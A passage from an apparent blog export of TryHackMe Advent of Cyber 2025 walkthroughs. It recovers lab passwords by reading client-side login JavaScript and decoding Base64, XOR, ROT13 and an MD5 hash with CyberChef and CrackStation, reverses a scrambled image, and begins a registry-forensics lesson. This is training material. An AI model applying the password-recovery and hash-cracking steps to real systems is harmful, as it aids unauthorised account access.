the answer from the guard by applying the necessary modifications with CyberChef.\nWe already decoded the answer in Step-3: Here is the password: SWFtc29mbHVmZnk=.\nHowever, SWFtc29mbHVmZnk= \u0026ndash; the password \u0026ndash; is still in Base64-encoded format, so we again use the From Base64 recipe to decode it:\nSWFtc29mbHVmZnk= \u0026ndash; Base64-encoded password\n↓ (transformation)\nIamsofluffy \u0026ndash; plaintext password\nStep-6: Log in with credentials \u0026ndash; username (encoded username from step-1) and password (the plaintext password from step-5).\nEverything is now ready. We have:\nUsername: Q290dG9uVGFpbA== Password: Iamsofluffy We attempt to log in with these credentials. The attempt succeeds, and the Outer Gate door is breached.\nFigure 6: Outer Gate successfully breached\nSecond Lock - Outer Wall Question-2: What is the password for the second lock?\nItoldyoutochangeit!\nStep-1: Identify the guard name and Base64-encode it.\nPlaintext guard name: CarrotHelm Base64-encoded guard name: Q2Fycm90SGVsbQ== Step-2: Base64-encode the magic question from the page headers.\nPlaintext magic question: \u0026ldquo;Did you change the password?\u0026rdquo; Base64-encoded magic question: RGlkIHlvdSBjaGFuZ2UgdGhlIHBhc3N3b3JkPw== Step-3: Send the encoded magic question to the chat and wait for the guard to answer with the encoded level password.\nBase64-encoded answer: SGVyZSBpcyB0aGUgcGFzc3dvcmQ6IFUxaFNkbUpIVWpWaU0xWXdZakpPYjFsWE5XNWFWMnd3U1ZFOVBRPT0= Plaintext answer: \u0026ldquo;Here is the password: U1hSdmJHUjViM1YwYjJOb1lXNW5aV2wwSVE9PQ==\u0026rdquo; Step-4: Identify the level login logic with Debugger.\nThe btoa() JavaScript function encodes a string in Base64 format. This means double Base64 encoding is applied. } else if (level === 2) { // CyberChef: Double From Base64 passOk = btoa(btoa(pwd)) === expectedConst; Step-5: Decode the answer from the guard by applying the necessary modifications with CyberChef.\nDouble Base64-encoded password: U1hSdmJHUjViM1YwYjJOb1lXNW5aV2wwSVE9PQ== Base64-encoded password (one-time Base64-decoded): SXRvbGR5b3V0b2NoYW5nZWl0IQ== Plaintext password (twice Base64-decoded): Itoldyoutochangeit! Step-6: Log in with credentials \u0026ndash; username (encoded username from step-1) and password (the plaintext password from step-5).\nUsername: Q2Fycm90SGVsbQ== Password: Itoldyoutochangeit! Third Lock - Guard House Question-3: What is the password for the third lock?\nBugsBunny\nStep-1: Identify the guard name and Base64-encode it.\nPlaintext guard name: LongEars Base64-encoded guard name: TG9uZ0VhcnM= Step-2: Base64-encode the magic question from the page headers.\nInstead of a magic question header, we have a new one: X-Recipe-Key with \u0026lsquo;cyberchef\u0026rsquo; as the value.\nStep-3: Send the encoded magic question to the chat and wait for the guard to answer with the encoded level password.\nThere is no magic question, so we politely ask the guard for it with \u0026ldquo;Password please.\u0026rdquo; Plaintext question: \u0026ldquo;Password please.\u0026rdquo; Base64-encoded question: UGFzc3dvcmQgcGxlYXNlLg== Base64-encoded answer: SGVyZSBpcyB0aGUgcGFzc3dvcmQ6IElRd0ZGakFXQmdzZg== Plaintext answer: \u0026ldquo;Here is the password: IQwFFjAWBgsf\u0026rdquo; Step-4: Identify the level login logic with Debugger.\nPassword-relevant code:\n} else if (level === 3) { // CyberChef: From Base64 =\u0026gt; XOR(key=recipeKey) const bytes = xorWithKey(toBytes(pwd), toBytes(recipeKey)); const b64 = bytesToBase64(bytes); passOk = b64 === expectedConst; The custom JavaScript function toBytes() converts a string into a byte array (Unicode/ASCII code points).\nfunction toBytes(str) { const out = new Uint8Array(str.length); for (let i = 0; i \u0026lt; str.length; i++) out[i] = str.charCodeAt(i) \u0026amp; 0xff; return out; } The custom JavaScript function xorWithKey() XORs a byte buffer with a repeating key.\nfunction xorWithKey(buf, key) { if (!key || key.length === 0) return buf; const out = new Uint8Array(buf.length); for (let i = 0; i \u0026lt; buf.length; i++) out[i] = buf[i] ^ key[i % key.length]; return out; } The custom JavaScript function bytesToBase64(bytes) converts a byte array into a Base64-encoded string.\nfunction bytesToBase64(bytes) { let bin = \u0026#34;\u0026#34;; for (let i = 0; i \u0026lt; bytes.length; i++) bin += String.fromCharCode(bytes[i]); return btoa(bin); } Put simply, the key and the password are first converted into byte arrays; then XOR (with repeating key) is applied to them. Finally, this resulting byte array is converted into a Base64-encoded string.\nStep-5: Decode the answer from the guard by applying the necessary modifications with CyberChef.\nBase64-encoded password: IQwFFjAWBgsf Applying recipe From Base64 on input IQwFFjAWBgsf Applying recipe XOR with key \u0026lsquo;cyberchef\u0026rsquo; with UTF-8 encoding Output: BugsBunny Step-6: Log in with credentials \u0026ndash; username (encoded username from step-1) and password (the plaintext password from step-5).\nUsername: TG9uZ0VhcnM= Password: BugsBunny Fourth Lock - Inner Castle Question-4: What is the password for the fourth lock?\npassw0rd1\nStep-1: Identify the guard name and Base64-encode it.\nPlaintext guard name: Lenny Base64-encoded guard name: TGVubnk= Step-2: Base64-encode the magic question from the page headers.\nNo magic question this time, so we move on.\nStep-3: Send the encoded magic question to the chat and wait for the guard to answer with the encoded level password.\nThere is no magic question, so we politely ask the guard for it with \u0026ldquo;Password please.\u0026rdquo; Plaintext question: \u0026ldquo;Password please.\u0026rdquo; Base64-encoded question: UGFzc3dvcmQgcGxlYXNlLg== Base64-encoded answer: SGVyZSBpcyB0aGUgcGFzc3dvcmQ6IGI0YzBiZTdkN2U5N2FiNzRjMTMwOTFiNzY4MjVjZjM5 Plaintext answer: \u0026ldquo;Here is the password: b4c0be7d7e97ab74c13091b76825cf39\u0026rdquo; Step-4: Identify the level login logic with Debugger.\nPassword-relevant login for level four:\n} else if (level === 4) { // CrackStation: Hash lookup passOk = (md5(pwd) === expectedConst); Put simply, MD5 is applied to the password, so we must crack the hash we received to find the matching plaintext password.\nStep-5: Decode the answer from the guard by applying the necessary modifications with CyberChef.\nMD5 password hash: b4c0be7d7e97ab74c13091b76825cf39 We crack it with CrackStation Cracked plaintext password: passw0rd1 Step-6: Log in with credentials \u0026ndash; username (encoded username from step-1) and password (the plaintext password from step-5).\nUsername: TGVubnk= Password: passw0rd1 Fifth Lock - Prison Tower Question-5: What is the password for the fifth lock?\n51rBr34chBl0ck3r\nStep-1: Identify the guard name and Base64-encode it.\nPlaintext guard name: Carl Base64-encoded guard name: Q2FybA== Step-2: Base64-encode the magic question from the page headers.\nCustom header X-Recipe-ID: \u0026lsquo;R3\u0026rsquo; Custom header X-Recipe-Key: \u0026lsquo;cyberchef\u0026rsquo; Step-3: Send the encoded magic question to the chat and wait for the guard to answer with the encoded level password.\nThere is no magic question, so we politely ask the guard with \u0026ldquo;Password please.\u0026rdquo; Plaintext question: \u0026ldquo;Password please.\u0026rdquo; Base64-encoded question: UGFzc3dvcmQgcGxlYXNlLg== Base64-encoded answer: SGVyZSBpcyB0aGUgcGFzc3dvcmQ6Ikl4dERXak9ES05MQlZFSUZPdXlEVHQ9PQ== Plaintext answer: \u0026ldquo;Here is the password: IxtDWjODKNLBVEIFOuyDTt==\u0026rdquo; Step-4: Identify the level login logic with Debugger.\nRelevant login logic code:\n} else if (level === 5) { const recipe = recipeId || \u0026#34;R1\u0026#34;; let tp = pwd; switch (recipe){ case \u0026#34;R1\u0026#34;: // CyberChef: From Base64 =\u0026gt; Reverse =\u0026gt; ROT13 tp = btoa(reverse(rot13(tp))); break; case \u0026#34;R2\u0026#34;: // CyberChef: From Base64 =\u0026gt; FromHex =\u0026gt; Reverse tp = btoa(strToHex(reverse(tp))); break; case \u0026#34;R3\u0026#34;: // CyberChef: ROT13 =\u0026gt; From Base64 =\u0026gt; XOR(key=recipeKey) const exed = bytesToBase64(xorWithKey(toBytes(tp), toBytes(recipeKey || \u0026#34;hare\u0026#34;))); tp = rot13(exed); break; case \u0026#34;R4\u0026#34;: // CyberChef: ROT13 =\u0026gt; From Base64 =\u0026gt; ROT47 tp = rot13(btoa(rot47(tp))); break; default: tp = btoa(reverse(rot13(tp))); } passOk = (tp === expectedConst); } Given that Recipe-ID=R3 was allocated to us \u0026ndash; see the response header from step-2 \u0026ndash; the following logic is relevant:\nROT13 =\u0026gt; From Base64 =\u0026gt; XOR(key=recipeKey) Step-5: Decode the answer from the guard by applying the necessary modifications with CyberChef.\nWe apply the recipes accordingly:\nFirst recipe: ROT13 with IxtDWjODKNLBVEIFOuyDTt== as the Input Second recipe: From Base64 Third recipe: XOR with key \u0026lsquo;cyberchef\u0026rsquo; in UTF-8 encoding Output: 51rBr34chBl0ck3r Step-6: Log in with credentials \u0026ndash; username (encoded username from step-1) and password (the plaintext password from step-5).\nUsername: Q2FybA== Password: 51rBr34chBl0ck3r Once the last gate is breached and the fortress taken, we are provided with the flag.\nFigure 7: Retrieved flag after breaching the Prison Tower\nQuestion-6: What is the retrieved flag?\n\u0026lt;redacted-flag\u0026gt;\nEpilogue Question-7: If you found decoding secrets interesting, you can also check out the Introduction to Cryptography, which dives into the world of cryptography.\nNo answer needed\nSide Quest 3 Key Challenge Question: Looking for the key to Side Quest 3? Hopper has left us this cyberchef link (opens in new tab) as a lead. See if you can recover the key and access the corresponding challenge in our Side Quest Hub!\nThe challenge link leads to an assembled CyberChef recipe with the following input:\nHopper managed to use CyberChef to scramble the easter egg key image. He used this very recipe to do it. The scrambled version of the egg can be downloaded from:\nhttps://tryhackme-images.s3.amazonaws.com/user-uploads/5ed5961c6276df568891c3ea/room-content/5ed5961c6276df568891c3ea-1765955075920.png\nReverse the algorithm to get it back!\nWe download the scrambled easter egg key image and save it as scrambled-easter-egg.png.\nFigure 8: Scrambled easter egg key displayed as grayscale noise\nThe image appears as gray noise \u0026ndash; visual static with no discernible pattern.\nAnalyzing the Algorithm We examine the assembled recipe by navigating to Save recipe \u0026gt; CLEAN JSON \u0026gt; Specify a recipe name \u0026gt; SAVE.\nThis is the original encoding recipe in JSON format:\n[ { \u0026#34;op\u0026#34;: \u0026#34;To Base64\u0026#34;, \u0026#34;args\u0026#34;: [\u0026#34;A-Za-z0-9+/=\u0026#34;] }, { \u0026#34;op\u0026#34;: \u0026#34;Label\u0026#34;, \u0026#34;args\u0026#34;: [\u0026#34;encoder1\u0026#34;] }, { \u0026#34;op\u0026#34;: \u0026#34;ROT13\u0026#34;, \u0026#34;args\u0026#34;: [true, true, false, 7] }, { \u0026#34;op\u0026#34;: \u0026#34;Split\u0026#34;, \u0026#34;args\u0026#34;: [\u0026#34;H0\u0026#34;, \u0026#34;H0\\\\n\u0026#34;] }, { \u0026#34;op\u0026#34;: \u0026#34;Jump\u0026#34;, \u0026#34;args\u0026#34;: [\u0026#34;encoder1\u0026#34;, 8] }, { \u0026#34;op\u0026#34;: \u0026#34;Fork\u0026#34;, \u0026#34;args\u0026#34;: [\u0026#34;\\\\n\u0026#34;, \u0026#34;\\\\n\u0026#34;, false] }, { \u0026#34;op\u0026#34;: \u0026#34;Zlib Deflate\u0026#34;, \u0026#34;args\u0026#34;: [\u0026#34;Dynamic Huffman Coding\u0026#34;] }, { \u0026#34;op\u0026#34;: \u0026#34;XOR\u0026#34;, \u0026#34;args\u0026#34;: [{ \u0026#34;option\u0026#34;: \u0026#34;UTF8\u0026#34;, \u0026#34;string\u0026#34;: \u0026#34;h0pp3r\u0026#34; }, \u0026#34;Standard\u0026#34;, false] }, { \u0026#34;op\u0026#34;: \u0026#34;To Base32\u0026#34;, \u0026#34;args\u0026#34;: [\u0026#34;A-Z2-7=\u0026#34;] }, { \u0026#34;op\u0026#34;: \u0026#34;Merge\u0026#34;, \u0026#34;args\u0026#34;: [true] }, { \u0026#34;op\u0026#34;: \u0026#34;Generate Image\u0026#34;, \u0026#34;args\u0026#34;: [\u0026#34;Greyscale\u0026#34;, 1, 512] } ] The recipe is difficult to understand at first glance, so we break it down step by step:\nTo Base64: Encodes the input as Base64 (standard alphabet: A-Za-z0-9+/=).\nLabel \u0026rsquo;encoder1\u0026rsquo;: Sets a checkpoint for looping back to later.\nROT13: Applies ROT13 cipher with specific parameters (rotates letters by 13 positions, applies to both uppercase and lowercase).\nSplit on \u0026lsquo;H0\u0026rsquo;: Breaks the string wherever \u0026lsquo;H0\u0026rsquo; appears, creating an array of chunks separated by newlines.\nJump to \u0026rsquo;encoder1\u0026rsquo; by 8: Loops back to the Label operation, executing steps 2–4 again eight times (iterative encoding).\nFork on newlines: Splits the data by newline characters and processes each chunk independently through the remaining steps in parallel.\nZlib Deflate: Compresses each chunk using Zlib compression with Dynamic Huffman Coding.\nXOR with \u0026lsquo;h0pp3r\u0026rsquo;: Encrypts each chunk by XORing it with the UTF-8 string \u0026lsquo;h0pp3r\u0026rsquo;.\nTo Base32: Encodes the result as Base32 (alphabet: A-Z2-7=).\nMerge: Recombines all the forked chunks back together.\nGenerate Image: Converts the final Base32 data into a grayscale image with 1-bit color depth and 512-pixel row width.\nPut simply:\nInput: Easter Egg Image\nBase64 Encoder Loop \u0026ndash; x8 times: ROT13 by 7 shifts Split on \u0026lsquo;H0\u0026rsquo; \u0026ndash; split up data into array Fork on newlines Parallel Processing \u0026ndash; process each chunk independently Zlib Deflate XOR with \u0026lsquo;h0pp3r\u0026rsquo; Base32 Merge \u0026ndash; recombine all forked chunks back together Generate Image Output: Scrambled easter egg image\nTo reverse this process, we construct the following recipe:\nInput: Scrambled easter egg image\nExtract Image \u0026ndash; read pixel data as binary Fork on newlines Parallel Processing \u0026ndash; process each chunk independently From Base32 \u0026ndash; decode Base32 XOR with \u0026lsquo;h0pp3r\u0026rsquo; Zlib Inflate — reverse operation to deflate Merge \u0026ndash; recombine all forked chunks back together Decoder Loop \u0026ndash; x8 times: Join on \u0026lsquo;H0\u0026rsquo; \u0026ndash; join up arrays ROT13 From Base64 \u0026ndash; decode Base64 Output: Easter Egg Image\nTwo issues complicate this approach: CyberChef provides no Extract Image or Join recipes. Additionally, ROT13 with 7 shifts requires different handling when reversed. We address these challenges with alternative solutions.\nExtracting the Raw Bytes from the Image Given that CyberChef lacks an Extract Image recipe, we extract the raw bytes manually.\nThe Generate Image Recipe\nThe Generate Image recipe converts raw byte data into a visual image. It interprets the input bytes as pixel color values and creates an image based on those values.\nWith our settings \u0026ndash; Greyscale, Pixel Scale Factor: 1, and Pixels per row: 512:\nEach byte becomes one pixel. Every single byte in our input data is interpreted as a grayscale value (0–255). Image width is 512 pixels. The recipe arranges our bytes in rows of exactly 512 pixels. Height is calculated automatically. If we have 1,024 bytes, we get a 512×2 pixel image. If we have 2,560 bytes, we get a 512×5 pixel image (rounded up). No scaling is applied. With a scale factor of 1, the final image stays at its native pixel dimensions (no enlargement). Moreover, Greyscale means that we use only the alpha/transparency channel, not the RGB (red, green, blue) channels from RGBA. Consequently, we cannot use the Extract RGBA recipe, given that we only want to extract one channel \u0026ndash; the alpha channel.\nTherefore, we extract the raw byte data ourselves.\nExtracting the Raw Bytes with Python\nWe create a Python script named extract-image-pixels.py to perform this extraction:\n# ~ extract-image-pixels.py from PIL import Image def extract_bytes_from_greyscale_image(image_file, output_file=None): # Open the image img = Image.open(image_file) # Ensure it\u0026#39;s in greyscale mode if img.mode != \u0026#39;L\u0026#39;: img = img.convert(\u0026#39;L\u0026#39;) # Convert image to bytes byte_data = bytes(img.tobytes()) # Save to file if specified if output_file: with open(output_file, \u0026#39;wb\u0026#39;) as f: f.write(byte_data) print(f\u0026#34;Extracted {len(byte_data)} bytes to {output_file}\u0026#34;) else: print(f\u0026#34;Extracted {len(byte_data)} bytes\u0026#34;) return byte_data # Usage extracted_bytes = extract_bytes_from_greyscale_image(\u0026#34;scrambled-easter-egg.png\u0026#34;, output_file=\u0026#34;extracted_bytes.txt\u0026#34;) The script extracts pixels from the single channel, converts them to bytes, and writes them to extracted_bytes.txt\nThe script uses the Python Imaging Library (PIL), which we install (if not already present) with pip install pillow.\nWe make the script executable with chmod +x extract-image-pixels.py and run it with python extract-image-pixels.py.\nHere is a sample of extracted byte data from the scrambled image:\nCCWJ3NT24TBAAZHXYJ3VTICQOI6XHAPLGZM2C232FJQ7YEXXLSNQ7XWQ57JNPDE6ZSE52MWUA5H6YJULR5GUWQZRLQ7K6GOJQ5ZQXGEIVVSSJIBP3WW7BTAI7EDDS75V2ZHSAC4SVSYMUYURWQRD7EPNWEOS3HFR45W33QQBIXX6SMJKER23LZ2HGT57EIXLDA5C3ELCXQR6D6LESQ7QOK6J2AMWH5QWV36Z34LSND6Z62R767UC3YVYXVML6NL6MLIVYIMH2RZXKD43D3OSBVO3NM7UTCRIX6O6BXFXJIEOQVGQOBOBFTGW33GZLJ6P72Q6UF65X75R57I3ILOTRZO3A67IS7JF2SHN3KXJDWCH4RMMKRB4CGAQ63UOPVS5ESQCBDHP4SMDCN3Y45RS3QLBD7PJVPMFWSTOOZ2LTWMO5EVJOYEH3HRZ5MGOHQXKYAJUFJZBWUTQKTWUH7JPDJVVLZCKQKYXRRWDA2G4WSX5XHVKRCTQMMTK4TL6RYFXDQDGAUPI5XC6UVSWVAY346OTKDXKWU6WVQDAI6VTEQWYPLTH2YYFRHWIW7NT6GEA45QYCA4JZ2ARGSRYBQ6RUDRUUJU5VLLBNVCUCJO3FRJHN6KIUMHVBPNEYSV27DNKSBVUYDPUGHEXAILYRXG76ZJJRTZ3FK7PFDAKPL6BN7KISCFNTEZ547AZAA5FBCXCUSGMFTBCFVYNPQ3EIT4ODI6CXQT6QS76BIBWASKPJXSAHOS4QMXHMFIMZ2YKM5ZTNZGLUDDR5BHINQY5SX6GIS7VKXHU3JK4WLSA==== CCWHLMH34QVYA7YCQPDOEEZCBO2SFYVLAX4T34A4YCCYGH4FLDXL5IBZWOAOGVKDWALZUIRTRMMN7JZZBLBMKNFPQRWHTHOXOLRTPEJ4KIZTYQGPC5ZWKZ36AUZ3KVCHO4PZYZKSK46SK4X4VVHXLVOF6WPIFA3OFIM6P2G37VSAHAVZTZTHSULC4Q5XGIXV42HGCPAGA7KHSGY5QAAKS745TVD5AMSUSTSUMG4U5ASZVDACD6CXGF4QEC4U5H2YER3JCYYMXMKYHCOBUL62OJPHBDU4H7RWOZ2HQTQGIEXGDHYPP2XWYCRLFEZVCU3YHJ5566UWUDDSF5AOCZGYO2JFX4M6ZIGBHLDGEQJDR5USUPR62ZF552FQFBNQJH3S5ML3TLPRNWH54PYZ5QP5FA3ABRTCMEVUMEI3NQIZBLSQ6QMNUT4B4DI= CCWH3IDUYTVAA4BQ4J3VCOBYN5YVUYVYHBOQAGEAWL2MVSMNL7AL4SYEHLZUW5LJAFUGOJKKNPZGS5G7FEU7BHEHLXP2KZBDSABUTY7YR3R25XPVCRQV4CE3BONQMB5LTVSOFAESQD2BPDTIRCRKF627MF5BL5SSLFZ4UL5V4QT4XJFJDXXOEAIVL53Y3FIJU4ZK3EUPN7SORVPCCVXHYB476UZBBL3CZED5PJ5AQOYZ3FZTULZ4FIVAONSXPOGAKXATMMSC2KRSFEQ3GQMTLIPLZGCETBZWCJ66UJ66RFHX536WZ5RVTSFKE4JGFEQWUQ6MS65EU6HTFNPDBR5YNJIOA3G5SLE4TZLDKY32WOUKXOXWQWZSKPHLXBHM7RKRZW26OA35F2HCIB55LXUZH6XZPPE6E3JI66GA2HMZUPXZ42VZDYJ4OX5526556QO263XUO5H2UHWGNSEN33FUBTJTFPW3SC2YCIVX2PW3VE6MHDNISDLZFXQXU2PY253PVKS7YUCBBYCFNT42J6LFKHSS2SRHDVCAH4ARD5HX3Y33FQKX6BCWKHABWISNXNBAMBFYM3OY2LJJA2Y4FLXSSCQMSJRGDDHIHMGPX3DYLL3U43RKDTKQSXVKLHZVOQ4WEMEI5LFBES65LE32MGSZQQPNBJQIREMROK2XFETVOO5K5ASIRLNK4ZNLFCFE2CGXUC76ELFXB4MUZ3E3QWEOEJ2FO7X2LKF37BON4EAGHN7UUJYJO4JYZQQOWAX43FU4UWWFIUKY7WSFJHOU6FUHFC7HCK4BF2TKKBBDS6ASKXF3RIFOAVBMED3ST4JCJQ52X3EDHXB2K2IXPIICTYHTMQW7UY2V4IRDS7GKTAMSWYXXW4SXT3GLWYAN3GEQSLOTLMBUPVZ6MZ2AELC2XKOZGTE76DM6XZQ6YK6I5JGVHJQ2MJ2B23QRK4ZUCCEU4HRA4KSZ3RHHPHKBDHJWUX2MIGNLTMQBG7MLHD5V24PG2XDTZDOGXMA4BPKLZYZNL3MBLQWX7EET6HUBQB47JTMDJR55ZOBKXRZHCJNRCANYDZ3IEA56UEZZC34LLXQAAT572VWJHC2NS3YSPOHYPYFEIM5GBHVEUPAIJUVGN52SJIANBMMN2YUBGLXYRNOT3GSR7FWJF4ZJTGDXUG6VVSJIH4VDZ5M6PPMDB6P7KMXNJMUABBK6QPXP7HUMCC2NVZVSZS2E7CLMZXBF24BBB4LTOOAG CCWHK4HSPDVRBBHTRFLJBXC4CUG6V7GSAAOAJP5LPYFMCAONG2LMYCZMUY4NBNIWIOKKGXNJLACQSR76JREUFJR7UCLNHWEDZPNYTB3JCMQLFYDCO347U4INOO6W6RYJM2MA==== CCWHLMFSPZUDA4DSAPLXJOSWB6ZZ2AZQONPDEUA= CCWHL4DSPNUDA6DTDAVYTQCVTBYLMYW3N4I4OP2VXPSBCJFINOWQ==== CCWHK4HM5UVABDD73GZQMXR577ORTMTFTZ4LMRNOMLLPRRQRC5GW6GFW2PLATCQ5RCMLZVVKZOCSCIC24XP52VRWP45C5BA6RAPK3GJYVEGRDSM4AQBGOGUUFTWL4HTW7NCFXYZTMZBVBZGI5344SCCUDFM65E5JM3Q6EXQPKUFNWCX6JVCPY4JIA66YCRDBKKC6YDVR7RX4SHT5LZOZKFVVV2IXNZG3W5RCJRYOPH5YOMUYL4SBAG5MUPF3ZMMXOVKQBQS67CWL56JM44CVOEIDUK7TLXHX7VONFWRFOVRLUQIBZDSSDJHDGPUQ6PM3JOR7FPV5PC7ZBHRJUWB5YPH6ITHMN2D6EJ7K473NQEEDP2PCNQGTH52KNHKQ==== CCWHK4HYPDWBBAHTYVBIVME6NS3FMNHRWKYFP7PJE34GDXXRSJFQD5HKB67QJYRGUTWX2EO3NHL2EGLBV5R7TLBQ2YXYMQGU2DGXEXOPZVZUHU2KONZEUDAFBH3WAMBTPLUSMEQ= ... Reversing the Other Recipes Split Having successfully reversed the Generate Image recipe, we now address the Split recipe. Its reverse \u0026ndash; the Join recipe \u0026ndash; is unavailable in CyberChef.\nEssentially, the Split recipe divides input data into separate parts based on a delimiter. The recipe takes our input data and splits it wherever it finds the delimiter \u0026lsquo;H0\u0026rsquo; (a hex value). It then joins the resulting pieces back together with \u0026lsquo;H0\\n\u0026rsquo; (the hex value H0 followed by a newline) as the separator.\nThis operation is essentially a find-and-replace disguised as a split: it replaces occurrences of \u0026lsquo;H0\u0026rsquo; with \u0026lsquo;H0\\n\u0026rsquo;, effectively adding newlines after every \u0026lsquo;H0\u0026rsquo; occurrence in the data.\nTherefore, instead of Join, we use the Find / Replace recipe.\nBase32 and Base64 The reverse operations for To Base64 and To Base32 are From Base64 and From Base32, respectively.\nFork and Merge The reverse operation for Fork is Merge, and vice versa.\nXOR There is no reverse operation for XOR; we simply apply it again.\nJump and Label To reverse the loop, we apply the same loop structure but process it in the opposite direction.\nROT13 by 7 During encryption, ROT13 was applied with an amount of 7, which is essentially ROT7 (shifting letters 7 positions forward in the alphabet).\nTo reverse ROT7 encryption, we do not apply ROT7 again \u0026ndash; we apply the inverse. The inverse of ROT7 in a 26-letter alphabet is ROT19 (because 7 + 19 = 26, wrapping around the alphabet back to the start).\nTo decrypt ROT7, we shift 7 positions backward, which is equivalent to shifting forward by the complement: 26 − 7 = 19.\nTherefore, instead of applying ROT7 (or ROT13 with 7 shifts), we apply ROT19 \u0026ndash; or ROT13 with 19 shifts.\nAssembling the Pieces With all components prepared, we apply the reverse recipes to the extracted byte data from the scrambled image.\nInput: Extracted pixel data as binary\nFork on newlines From Base32 XOR with \u0026lsquo;h0pp3r\u0026rsquo; Zlib Inflate Merge Decoder Loop \u0026ndash; x8 times: Find / Replace: \u0026lsquo;H0\\n\u0026rsquo; \u0026ndash;\u0026gt; \u0026lsquo;H0\u0026rsquo; ROT13 by 19 From Base64 Output: Restored easter egg image\nHere is the complete reversed recipe in JSON format:\n[ { \u0026#34;op\u0026#34;: \u0026#34;Fork\u0026#34;, \u0026#34;args\u0026#34;: [\u0026#34;\\\\n\u0026#34;, \u0026#34;\\\\n\u0026#34;, false] }, { \u0026#34;op\u0026#34;: \u0026#34;From Base32\u0026#34;, \u0026#34;args\u0026#34;: [\u0026#34;A-Z2-7=\u0026#34;, true] }, { \u0026#34;op\u0026#34;: \u0026#34;XOR\u0026#34;, \u0026#34;args\u0026#34;: [{ \u0026#34;option\u0026#34;: \u0026#34;UTF8\u0026#34;, \u0026#34;string\u0026#34;: \u0026#34;h0pp3r\u0026#34; }, \u0026#34;Standard\u0026#34;, false] }, { \u0026#34;op\u0026#34;: \u0026#34;Zlib Inflate\u0026#34;, \u0026#34;args\u0026#34;: [0, 0, \u0026#34;Adaptive\u0026#34;, false, false] }, { \u0026#34;op\u0026#34;: \u0026#34;Merge\u0026#34;, \u0026#34;args\u0026#34;: [true] }, { \u0026#34;op\u0026#34;: \u0026#34;Label\u0026#34;, \u0026#34;args\u0026#34;: [\u0026#34;decoder1\u0026#34;] }, { \u0026#34;op\u0026#34;: \u0026#34;Find / Replace\u0026#34;, \u0026#34;args\u0026#34;: [{ \u0026#34;option\u0026#34;: \u0026#34;Regex\u0026#34;, \u0026#34;string\u0026#34;: \u0026#34;H0\\\\n\u0026#34; }, \u0026#34;H0\u0026#34;, true, false, true, false] }, { \u0026#34;op\u0026#34;: \u0026#34;ROT13\u0026#34;, \u0026#34;args\u0026#34;: [true, true, false, 19] }, { \u0026#34;op\u0026#34;: \u0026#34;Jump\u0026#34;, \u0026#34;args\u0026#34;: [\u0026#34;decoder1\u0026#34;, 8] }, { \u0026#34;op\u0026#34;: \u0026#34;From Base64\u0026#34;, \u0026#34;args\u0026#34;: [\u0026#34;A-Za-z0-9+/=\u0026#34;, true, false] } ] Once applied, we save the output as an image: Output \u0026gt; Save output to file \u0026gt; easter-egg.png.\nFigure 9: Reversed decoding recipe configured in CyberChef\nThe reversed easter egg reveals the Side Quest 3 Challenge Key:\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-17/","summary":"TryHackMe | Advent of Cyber 2025 | Day 17: CyberChef - Hoperation Save McSkidy + Side Quest 3 Key Challenge","title":"AOC25 | Day-17 + SQK-3"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 16\nTitle: Forensics - Registry Forensics Description\nLearn what the Windows Registry is and how to investigate it.\nSummary\nHere we investigate a compromised system using Registry Explorer to analyze offline registry hives. We start by loading the registry hives from dispatch-srv01 and navigate through key forensic locations. We check the SOFTWARE hive\u0026rsquo;s Uninstall keys and identify that DroneManager Updater was installed before the abnormal activity began.\nWe then examine the UserAssist registry and find where the user launched the malicious installer from. Finally, we check the Run registry key and discover the persistence mechanism that the attacker configured to maintain startup access.\nStoryline\nTBFC is under attack. McSkidy\u0026rsquo;s well-trained team is conducting forensic analysis on dispatch-srv01, a critical drone-delivery system compromised by attackers. The team is splitting into specialized groups to investigate logs, memory dumps, file systems, and registry data \u0026ndash; our focus is the registry analysis.\nTheory Overview and Core Function The Windows Registry is the operating system\u0026rsquo;s configuration database, functioning as the brain of Windows by storing all essential system and user information needed for proper OS operation.\nUnlike the human brain\u0026rsquo;s single physical location, the Registry is distributed across multiple separate files called Hives, each storing different categories of configuration data.\nRegistry Hives SYSTEM\n- Services, mounted devices, boot configuration, drivers, hardware settings\n- C:\\Windows\\System32\\config\\SYSTEM\nSECURITY\n- Local security policies, audit policy settings\n- C:\\Windows\\System32\\config\\SECURITY\nSOFTWARE\n- Installed programs, OS version info, autostarts, program settings\n- C:\\Windows\\System32\\config\\SOFTWARE\nSAM\n- Usernames, password hashes, group memberships, account statuses\n- C:\\Windows\\System32\\config\\SAM\nNTUSER.DAT\n- Recent files, user preferences, user-specific autostarts\n- C:\\Users\\username\\NTUSER.DAT\nUSRCLASS.DAT\n- Shellbags, jump lists\n- C:\\Users\\username\\AppData\\Local\\Microsoft\\Windows\\USRCLASS.DAT\nRegistry Root Keys Windows organizes Registry Hives into structured Root Keys displayed in the Registry Editor. The mapping between hives and root keys is as follows:\nSYSTEM\n- HKEY_LOCAL_MACHINE\\SYSTEM\n- HKLM\\SYSTEM\nSECURITY\n- HKEY_LOCAL_MACHINE\\SECURITY\n- HKLM\\SECURITY\nSOFTWARE\n- HKEY_LOCAL_MACHINE\\SOFTWARE\n- HKLM\\SOFTWARE\nSAM\n- HKEY_LOCAL_MACHINE\\SAM\n- HKLM\\SAM\nNTUSER.DAT\n- HKEY_USERS\\\u0026lt;SID\u0026gt; and HKEY_CURRENT_USER\n- HKU\\\u0026lt;SID\u0026gt; and HKCU\nUSRCLASS.DAT\n- HKEY_USERS\\\u0026lt;SID\u0026gt;\\Software\\Classes\n- HKU\\\u0026lt;SID\u0026gt;\\Software\\Classes\nKey organizational points:\nHKLM (HKEY_LOCAL_MACHINE)\n- Contains most system-wide hives: SYSTEM, SOFTWARE, SECURITY, SAM.\nHKU/HKCU (HKEY_USERS/HKEY_CURRENT_USER)\n- Contain user-specific hives: NTUSER.DAT, USRCLASS.DAT.\nHKCR/HKCC (HKEY_CLASSES_ROOT/HKEY_CURRENT_CONFIG)\n- Are dynamically populated during Windows runtime and are not backed by separate hive files.\nAccessing Registry Data Registry Hives contain binary data and cannot be opened directly by double-clicking their files.\nWindows provides the built-in Registry Editor tool (accessible via the search bar) to view registry data in a human-readable hierarchical format organized by root keys and subkeys.\nNavigation Example: Connected USB Devices\nNavigate to HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Enum\\USBSTOR. Displays: USB device information including make, model, device ID, manufacturer identification, and unique device identifiers Navigation Example: User-Run Programs\nNavigate to 